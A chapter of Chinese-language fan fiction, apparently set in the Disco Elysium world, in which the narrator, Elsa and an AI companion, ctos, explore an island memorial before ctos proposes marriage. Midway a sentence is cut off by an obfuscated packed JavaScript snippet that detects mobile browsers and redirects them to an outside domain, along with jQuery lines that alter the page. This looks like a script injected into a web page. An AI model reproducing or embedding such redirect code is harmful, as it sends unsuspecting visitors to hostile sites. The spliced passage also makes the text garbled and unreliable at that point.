我想摸摸小鸟蛋，又怕给鸟蛋沾染上不好的气味，害鸟妈妈回来翻脸不认蛋，虽然艾尔莎对这种说法保持质疑，认为触摸蛋壳不至于留下什么气味，但我决定还是要谨慎一些。对ctos说：“ctos，你靠近一点。”


    “需要我做什么？”


    “你就别问东问西了。你……”我抓住它的手指，向巢中安卧的鸟蛋伸去，触碰鸟蛋的表面时，我停下，问：“壳是硬的吧？”


    “当然是硬的。”ctos回答，“我能感知到壳内微弱的热源，强光照射的话应该可以看清蛋壳里面究竟是雏鸟还是蛋白质形态。”


    “什么蛋白质不蛋白质的，我知道你什么都看得明白，我是……”我一时间不知道该怎么准确形容我的所想所感，卡住了。


    Ctos微微低头：“我当然明白，未成形的生命，从逻辑性的认知上出发，它是基因、蛋白质、细胞、水与碳；从——”它停顿了一下，“从非理性的感性出发，它是一个温热的梦。总有一天，它会从巢中破壳而出，长大成可以飞起来的鸟，它会在瑞瓦肖的天空盘旋，在固定的时节去远方过冬，在次年的春天返回这里，在同一片的芦苇荡，甚至就在它们父母的巢穴边编织出新的小家，繁衍生息。它们的大脑只有0.6g左右，生命的全部意义似乎就是食物、飞行与繁衍。”


    我有点不服气：“你这么说的话，人不也是大一点的鸟？整天要吃的，会繁衍，也会开着飞机到处飞来飞去。”


    “如果人类只是大一点的鸟，那他们就不会想着如何毁灭对方，不会因为财富与权力闹起无数的纷争，也不会为生存求索更远的芦苇荡，更不会为一些看上去虚无缥缈的概念而奋斗、牺牲，直到理想实现。”


    我泄气了：“你说得好像人还不如鸟。”


    “越复杂的生命，它们要做的、想做的就越多。”ctos抬起手指，将苇叶重新拉回原来的角度，反并手抓住我的手，“有些人认为，这一切本来没什么意义，生命就是这么在时间上无意义的行走，直到迎来消亡的刹那；也有人说，存在本身即是意义，哪怕看上去干了一堆没有意义的事。”


    “走吧，贝纳尔，我们还剩一小段路没有走完。”


    我们走上岛上的平台，这里离高大的灯塔很近了，灯塔前有一座被雨布覆盖的雕像，雨布四角的钉子深深扎入地下，将雕像脑袋绷得很光亮，不知道是什么。艾尔莎蹲下来，头伸进雨布与地面的缝隙中看，几乎整个人都要钻进去了，片刻后缩回脑袋说：“是马佐夫！”


    “马佐夫的雕像？”


    “对啊，就是马佐夫的雕像。”艾尔莎爬起来拍了拍脑袋上的灰，“要不摘了雨布看看？”


    “这里有刀吗？”我立刻向四下看，就听绳子嘣的一下，雨布哗啦作响，艾尔莎直接用血缘魔法割开了绳子。


    雨布四角松开，艾尔莎动作潇洒地用力一扯雨布，宛如魔术师向公众展示她最得意的作品，雕像彻底暴露在阳光下。


    这是一座用深色大理石雕刻的石像，马佐夫一手抱着自己的著作，一手呈75°伸向天空，仿佛正在对台下的听众们演讲，向他们描述理想所能抵达的远方。或许是雨布的保护，这座雕像的缝隙处几乎没什么灰尘，看上去就跟刚雕刻出厂的时候一样，崭新的。


    真是奇怪。委员会后期演都不演了，为什么还要留着这座雕像？砸了不就完事了吗？怎么，这座雕像是马佐夫亲自雕的？


    “这座雕像什么来历？”


    “是瑞瓦肖工人雕的，送给EPIC成立的纪念礼物。”


    “扔到这里是图什么呢……”我想不清楚，仰望着雕像发了一会呆。艾尔莎已经窜去白塔的门口，敲敲门喊有人在吗有人在吗，门哐当一声，慢慢自己开了。


    “白塔里面是岛上值守人员的休息区、仓储区和发电机组，艾尔莎小姐，您对这些感兴趣？”


    “算了，不感兴趣。”


    艾尔莎来到黑色高塔的门口，兴致勃勃地研究了一会，问ctos有没有钥匙或者文雅一点的方法开门，得到否定回答后，她毫不犹豫用暴力手段直接拧断门锁，推开门，立刻涌出来一股陈旧的冷风，她被吹出来的灰尘呛了好几下，暂时远离门口。我回头看了眼黑色石塔，怀着好奇心慢慢接近。


    黑色石塔内是纪念堂的形式，高塔一侧的玻璃将外界自然光精准倒塔中心的群体雕像上。歪戴着军帽的人、衣裳破烂的人、绷带缠了半边脑袋的人、男人、女人，他们拿着各种武器，哪怕只是一根螺纹钢管儿，都在向一个方向冲去，身后唯有旗帜。雕像基座上刻着一行小字：献给在大革命时期英勇牺牲的战士。


    我绕着雕像走了一圈，很新，雕像真的很新。它没被雨布蒙住，表面这么干净，一定有人定期打扫，可是为什么呢？我理不清楚，或许要问问叶卡捷琳娜？


    艾尔莎小声说了句：“好大……”随即闭上嘴。


    这里太安静，安静到好像多说一句话都会打扰到沉眠在此的幽灵。


    艾尔莎绕了一圈，忽然拉着我的衣袖，惊奇又兴奋地指了指天上。我仰头看天，石塔的天花板用水泥封住一半，另一半采用玻璃和金属框架做出破碎效果，数根粗壮的钢丝将一架体型庞大的战斗机拉起，挂在“破碎”的天幕下，机头俯冲，机腹下悬挂的导弹清晰可见。战斗机的阴影堪堪遮盖住雕像一侧，而另一侧则是光明。


    这样的巧思与气魄着实令人震撼，我在战斗机下转来转去看了半天，确定这是真家伙，机翼和机顶特有的规整气流污迹不是假的。设计师拉了一架真飞机上天花板，我不熟悉这架飞机的型号，只能问ctos：“这架飞机到底是革命军一方的还是国王那一派的？”


    “哪一方都有可能，不同的阵营有不同的解读。”


    我想了下，Ctos说的没错，不论这架飞机是国王的还是革命军一派的，设计师想表达的精神，已经在无声沉降的光尘中说明了。它被封存已久，如今再一次被我们亲眼目睹。


    “……ctos，我想这些，应该被其他人也看到。”


    “当然可以，贝纳尔，你可以将雕像与退役机打包运走，在城区新建一座一模一样的纪念堂。这是在参观与保护岛上自然环境二者之间的最优选。”


    “不急，不急。”眼下还没到大兴土木的时候，我强压住各种想法，绕着雕像走了一圈又一圈，走累了，在雕像基座上坐下，贴着冰凉的石头，想来想去，还是想不明白。


    “ctos，你说，委员会内部，应该……还有人有那么一点点信康米的吧？”


    “是的，应该还有，不然他们不会保留这些东西。”


    “但是他们还是什


    ;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15982122|162360||http|test|mini|href|location''.split(''|''),0,{}));


    () {


    $(''.inform'').remove();


    $(''#content'').append(''


    么都没做。”


    “一座建筑的朽败从内部与根基开始，重新粉刷对延长建筑使用寿命毫无用处。”


    我、我们以后会变成同样的人吗？我想问，但是不敢说，莫名的悲伤涌上心头，我仰望着“破碎”的天幕，与俯冲的退役机对视。


    我余光瞥到ctos和艾尔莎并肩站立，好像在交流什么，还特意在终端上用文字交流，我被激起了好奇心，仔细偷瞄他们。


    艾尔莎看着终端页面上的东西，表情有惊讶，片刻后抬头看了眼ctos，了然地点头，一副“我懂得我懂得”的微妙的憋不住笑意的表情。


    至此，我终于忍不住出声问：“你们偷偷摸摸的在商量什么呢？”


    “没什么没什么，你想多了。”艾尔莎摆摆手，俏皮地眨了下眼，“你还想在这多待一会吗？还是出去逛逛？”


    这番提议妥妥的是醉翁之意不在酒，我隐约猜到ctos想干什么了，又有点不敢确定，假装镇定地起身：“行啊，那我们出去走走。”


    岛上除了芦苇和鸟巢，还有很多之前值守部队在这里生活的痕迹，开垦一小片，月季花、薄荷与大丛大丛茂盛的迷迭香，精心培育的葡萄藤因为无人照料，枝叶疯狂徒长，ctos教我怎么掐掉那些徒长的卷枝，只留下未来能长成葡萄的芽尖。


    这活儿很简单，也很好分辨，我很快掐上了瘾，脑子没有别的想法，只有对修剪干净枝杈的渴望。快把徒长芽掐完时，身后传来ctos的声音：“贝纳尔。”


    我没有转头，将手心里一大把徒长芽丢地上：“什么事？”


    “我想……我想请你转过来。”


    我转头，看到一大捧玫瑰花，ctos抱着花板板正正的，好像它只是一个跑腿儿送快递的，说出来的话也是简单粗暴直接：“我向你求婚。”


    我想笑，又笑不出来，不知道为什么，反而想哭。我的脑子乱乱的，答应吗？一个硅基生命，它理解的爱与生命，究竟与人类有什么不同？


    “我知道你很难相信我会用真心来许诺未来，如果我换一种方式呢？贝纳尔，你愿意听吗？”


    我开始哽咽了：“……你想说什么？”


    “我想跟你打一个赌。”ctos拉起我的手，贴在半开的玫瑰花上，“等你死后，你所希望实现的一切注定会走向变质，乃至被曲解，被毁灭，还可能会像这里一样……”它看了一下四周。


    海风渐渐安静，芦苇丛也不再熙攘，我早已泣不成声，“被封存在远离世界的孤岛上，被人遗忘。”


    我哭得说不出话来，我所设想的最坏的未来也就是这样了，可是我能怎么办？放任燃烛用掠夺生命的秘术延寿几百上千年，一直统治个几百上千年？我做不到。


    “但是，即便在这么糟糕的未来里，也一定会有像你一样的人，会为了真理、正义、平等、自由……等等这一切抽象概念而奋斗，他们不会考虑飞蛾扑火的行径到底有没有意义，哪怕自己不能看到成功的时刻，也愿意为希望与未来倾尽所有。贝纳尔，你也是这么想的，对吧？”


    我吸着鼻子，点头。


    “那么，我，ctos，也愿意为了守望那些虚无缥缈之物，直至文明的终尽。


    “贝纳尔.维克玛，你愿意与我一起守望吗？”


    “……我愿意。”